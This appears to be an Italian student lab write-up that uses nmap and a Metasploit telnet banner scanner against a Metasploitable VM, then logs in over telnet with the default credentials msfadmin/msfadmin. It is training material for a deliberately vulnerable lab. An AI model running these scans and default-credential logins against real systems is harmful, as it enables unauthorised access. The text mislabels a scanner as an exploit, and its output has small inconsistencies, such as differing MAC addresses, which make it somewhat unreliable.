

EXPLOIT TELNET con METASPLOIT

Sulla base degli esercizi visti in lezione teorica utilizzeremo Metasploit per sfruttare la vulnerabilità relativa a Telnet sulla macchina Metasploitable.

FASE 1

Nella prima fase abbiamo configurato l'ambiente su Metasploitable e Kali.

```
kali@kali:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:22:46:4f brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.25/24 brd 192.168.1.255 scope global eth0
        valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fe22:464f/64 scope link
        valid_lft forever preferred_lft forever

TX packets:156 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:35697 (34.8 KB) TX bytes:35697 (34.8 KB)

msfadmin@metasploitable:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:28:14:54 brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.40/24 brd 192.168.1.255 scope global eth0
    inet6 fe80::a00:27ff:fe86:1454/64 scope link
        valid_lft forever preferred_lft forever

msfadmin@metasploitable:~$
```

Una volta configurato andiamo a fare una scansione alla nostra macchina bersaglio (**nmap -A 192.168.1.40**)

Osservando che sulla porta 23 è presente il servizio Telnet

```
(kali@kali)~$ nmap -A 192.168.1.40
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-06 08:39 EST
Nmap scan report for 192.168.1.40
Host is up (0.00019s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
| ftp-syst:
|_ STAT:
|_ FTP server status:
|_   Connected to 192.168.1.25
|_   Logged in as ftp
|_   TYPE: ASCII
|_   No session bandwidth limit
|_   Session timeout in seconds is 300
|_   Control connection is plain text
|_   Data connections will be plain text
|_   vsFTPd 2.3.4 - secure, fast, stable
|_ End of status
|_ ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
|_ 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp    open  telnet?
25/tcp    open  smtp?
|_ smtp-command: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
53/tcp    open  domain       ISC BIND 9.4.2
|_ bind.version: 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_ http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
```

FASE 2

Nella seconda fase con il tool msfconsole iniziamo la preparazione dell'exploit e del payload.

Andiamo a cercare il servizio che ci interessa, in questo caso con il comando **search auxiliary telnet_version**

```
msf6 > search auxiliary telnet_version

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  auxiliary/scanner/telnet/lantronix_telnet_version  normal  No    Lantronix Telnet Service Banner Detection
1  auxiliary/scanner/telnet/telnet_version           normal  No    Telnet Service Banner Detection

Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/telnet/telnet_version

msf6 > use 1
msf6 auxiliary(scanner/telnet/telnet_version) >
```

Ricontrolliamo che tutto sia stato assegnato facendo di nuovo **show options**

Lanciamo il nostro exploit (comando **run**) con il payload di default assegnato.

Possiamo notare la schermata di login però per confermare il tutto apriamo un nuovo terminale su Kali e proviamo una connessione Telenet con il nostro bersaglio.

```
kali@kali: ~  
File Actions Edit View Help  
(kali@kali)~  
$ telnet 192.168.1.40  
Trying 192.168.1.40 ...  
Connected to 192.168.1.40.  
Escape character is '^['.  
  
Warning: Never expose this VM to an untrusted network!  
Contact: msfdev[at]metasploit.com  
Login with msfadmin/msfadmin to get started  
  
metasploitable login: msfadmin  
Password:  
Last login: Tue Dec 6 08:33:37 EST 2022 on tty1  
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686  
The programs included with the Ubuntu system are free software;  
the exact distribution terms for each program are described in the  
individual files in /usr/share/doc/*/copyright.  
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by  
applicable law.  
To access official Ubuntu documentation, please visit:  
http://help.ubuntu.com/  
No mail.  
msfadmin@metasploitable:~$ ip a  
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue  
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00  
    inet 127.0.0.1/8 scope host lo  
        valid_lft forever preferred_lft forever  
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000  
    link/ether 08:00:27:86:14:54 brd ff:ff:ff:ff:ff:ff  
    inet 192.168.1.40/24 brd 192.168.1.255 scope global eth0  
        valid_lft forever preferred_lft forever  
msfadmin@metasploitable:~$ pwd  
/home/msfadmin
```